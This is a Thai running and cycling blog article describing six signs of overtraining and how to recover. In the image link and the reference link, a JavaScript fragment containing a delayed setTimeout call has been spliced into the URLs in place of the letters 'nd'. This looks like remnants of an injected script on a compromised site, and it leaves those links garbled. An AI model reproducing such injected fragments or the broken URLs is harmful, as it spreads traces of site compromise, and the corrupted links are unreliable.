• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News

6 Signs You’re Overtraining

kan by kan
24 January 2019
in News, Training
0
6 Signs You’re Overtraining
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

6 สัญญาณต่อไปนี้คือถึงเวลาพักผ่อน!!! เมื่อเรามีปริมาณการฝึกซ้อมที่เข้มข้นและสะสมมาเรื่อยๆ จนมากกว่าความสามารถในการฟื้นฟูจะตามทัน ความเครียดที่สะสมจะทำให้ร่างกายจะส่งสัญญาเตือนที่แสดงออกมาว่าเรากำลังอยู่ในสภาวะ Overtraining และต้องการการพักผ่อน

หากเกิดในระยะแรกๆ เพราะการฝึกซ้อม ร่างกายจะใช้เวลาสั้นๆ ไม่กี่วันจนถึง 2 สัปดาห์ในการพักและปรับตัวให้แข็งแกร่งขึ้น แต่ถ้าฝืนทนฝึกสะสมความเครียดนี้ไปเรื่อยๆ จนเกิดอาการรุนแรง ระยะเวลาในการพักฟื้นจะยาวเป็นเดือน ๆ เลยทีเดียว

ก่อนอื่นต้องชี้แจงก่อนว่าลักษณะอาการ Overtraining ในแต่ละคนจะเกิดขึ้นช้าเร็วแตกต่างกันไป และบ้างเกิดหนึ่งอาการหรือมากกว่านั้น แต่พอจะสามารถจับกลุ่มลักษณะอาการที่คล้ายคลึงกันได้ อาการ overtraining จะแสดงออกมาช้าเร็วนั้นขึ้นอยู่กับระดับความฟิตของร่างกายด้วย ไม่ว่าคุณจะเป็นนักวิ่ง นักปั่นจักรยานหรือชาวเล่นเวทเทรนนิ่ง  ทุกคนล้วนมีโอกาสเกิดได้หมดทั้งสิ้น แต่เวลา ลักษณะและความรุนแรงจะแตกต่างกันไป 

มากไปไหม: 6 สัญญาณเเสดงว่าคุณกำลังออกกำลังมากไป (Overtraining)

 1. อาการปวดเมื่อยกล้ามเนื้อ ลักษณะอาการที่จะเกิดขึ้นเป็นอาการแรกๆ หากร่างกายแสดงอาการปวดเมื่อย นั้นคือ การขาดการพักผ่อน พักผ่อนไม่เพียงพอ ร่างกายยังต้องการเวลาในการพักฟื้นจากการฝึกมากกว่านี้

อาการปวดเมื่อยส่วนมากจากเกิดในระยะสั้นๆ จากการฝึกที่มีความเข้มข้น หากได้พักฟื้นเพียงพอ มัดกล้ามเนื้อร่างกายจะปรับตัวและแกร่งขึ้น แต่ถ้าหากดึงดันฝึกต่อไป ประมาณว่าต้องถอน ต้องซ้ำ อาจจะเกิดอาการ overtraining ทำให้กล้ามเนื้ออักเสบ ต้องพักยาวเป็นเดือน   

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andkettlebells.com/wp-content/uploads/6-Signs-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-Symptoms-of-Overtraining.jpg” alt=””/>

2. เหนื่อยง่ายแรงน้อย รีดพลังงานออกมาได้นิดเดียว สัญญาอย่างหนึ่งสำหรับคนที่เกิด overtraining คืออาการเหนื่อยง่าย เกิดอาการเหนื่อยเร็วขึ้นมากกว่าเดิม ไม่มีแรงในการออกกำลังกายแม้ว่าจะมีระยะทางหรือระยะเวลาจะเท่าเดิม สำหรับใครที่เป็นนักวิ่ง ลองสังเกตดูว่า ความสามารถในการวิ่งหรือ performance จะลดลงอย่างมาก ดันเท่าไหร่ก็ไม่ขึ้น หากเป็นอย่างนี้ต่อไป จะเสี่ยงต่อการเกิดอาการบาดเจ็บและหมดกำลังใจลงได้

3. เบื่อ ขี้เกียจไม่อยากฝึกแล้ว อาการอย่างนี้เรียกว่าหมด passion ทั้งแรงใจแรงกระตุ้นลดลงอย่างมาก โดยทั่วไปอาการขี้เกียจฝึกซ้อมเกิดขึ้นเพราะ overtraining ระยะต้นๆ หายได้โดยใช้เวลาพักผ่อนสัก 2-3 วัน ไปชาร์จแบตแล้วค่อยกลับมาใหม่ 

การฟังเสียงร่างกายตัวเองสำคัญที่สุด อย่าคิดว่าการหยุดพักเป็นเรื่องที่น่าอาย อย่าไปยึดติดกับสื่อโซเชียวมาก ไม่ว่าจะมีคำคมต่างๆ ที่ใช้กระตุ้นคนออกกำลังกายให้ทำลายลิมิตตัวเอง ต้องไม่ยอมแพ้ หรือต้องกลายเป็นยอดมนุษย์ให้ได้ การฝืนฝึกขณะที่ร่างกายต้องการพักฟื้น จะทำให้อาการ overtraining รุนแรงและเกิดการบาดเจ็บ พักฟื้นไปอีกหลายเดือนเลย

4. Performance ในการออกกำลังกายจะลดลงอย่างน่าใจหาย ถ้าคุณเป็นนักวิ่งหรือนักปั่น จะสังเกตได้ว่าความเร็วจะคงที่หรือลดลง อาการเหนื่อยแสดงออกมาเร็วกว่าปกติ ฝึกซ้อมเท่าไหร่ก็ไม่ดีขึ้น

การวัด Performance ของเราหลายๆ ครั้งเราก็มักจะอิงกับการทำ new personal best ซึ่งหากเราพลาดการทำ NPB การทำไม่ได้นี้ ก็ไม่ได้บ่งบอกว่าเรามี overtraining เกิดขึ้นกับร่างกายนะ เพราะการพัฒนาความสามารถตัวเองให้สูงขึ้นไปเรื่อยๆ จำเป็นต้องใช้เวลา ใช้วินัยและฝึกอย่างเป็นขั้นตอน      

5. เบื่ออาหาร อาการเบื่ออาหาร ไม่หิวหรือเลือกกินจะเกิดขึ้นเมื่ออยู่ในสภาวะ overtraining และมักจะถูกมองข้าม สาเหตุหลักๆ คือการสะสมความเครียด ทำให้ร่างกายผลิตฮอร์โมนออกมาอย่างผิดปกติ อย่างตัว epinephrine และ norepinephrine ทำให้ลดอาการหิวลง นอกจากนี้ยังมีอาการอื่นๆ ร่วมด้วย เช่น อ่อนเพลีย ขี้เกียจ นอนไม่หลับ เป็นต้น

อาการหิวแป้งก็เป็นลักษณะอาการอย่างหนึ่งของ Overtraining เพราะร่างกายต้องการพลังงานและสารอาหารกลับคืนและเพื่อใช้ซ่อมแซมร่างกาย และสร้างกล้ามเนื้อและเซลล์ต่างๆ ให้แข็งแรงขึ้น เราจึงควรให้ความสำคัญกับการเลือกรับประทานอาหารที่มีโปรตีนเเละแป้งคุณภาพสูง เพื่อการฟื้นฟู     

6. อาการป่วยไม่สบาย ขั้นสุดท้ายของการเป็น overtraining ถ้ากล้ามเนื้อไม่บาดเจ็บก็จะเกิดอาการป่วย อย่างเช่น การป่วยไข้หวัด หรือการมาของประจำเดือนไม่ปกติ สาเหตุเพราะร่างกายต้องดึงทรัพยากรส่วนอื่นๆ มาฟื้นฟูร่างกาย ทำให้ระบบการทำงานร่างกายแปรปรวน ระบบฮอร์โมนและภูมิคุ้มกันทำงานไม่ปกติ ขาดทรัพยากรมาเลี้ยง ถูกดึงไปซ่อมแซมส่วนต่างๆ ทำให้ร่างกายอ่อนแอและเจ็บป่วยไข้ได้ง่ายมากขึ้น  

เราแก้ไขปรับปรุงอะไรได้บ้างเมื่อมีอาการ overtraining…เมื่อเกิดอาการขึ้นมาแล้ว ประการแรกที่จะช่วยตัวผู้ออกกำลังกายได้มากที่สุดคือ การหยุดพัก หลีกเลี่ยงกิจกรรมใช้แรงงานหนัก หยุดพักสัก 4-7 วันหรือจนถึง 2 สัปดาห์ ทั้งนี้ขึ้นอยู่กับระดับความรุนแรง เมื่ออาการลดลง ก็ค่อยๆๆ กลับมาฝึกฝนใหม่ ลดความเข้มข้นลงและผสมกีฬาชนิดอื่นๆ ลงไปด้วย หากคุณเป็นนักวิ่ง ก็ลองปั่นจักรยาน ว่ายน้ำหรือเล่นเวทผสมผสานดูบ้าง ท้ายสุดก็ระวังเรื่องกิน กินอาหารที่มีคุณภาพและเข้านอนเป็นเวลา ยิ่งออกกำลังกายมาก็ต้องยิ่งพักมากตามไปด้วย

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andkettlebells.com/signs-of-overtraining/?fbclid=IwAR3PS43LLJyicCxKZZVRBbwVW2fPB8K361wocPIosL9_OebFW8EhEcfuGv8″>coconutsandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andkettlebells.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.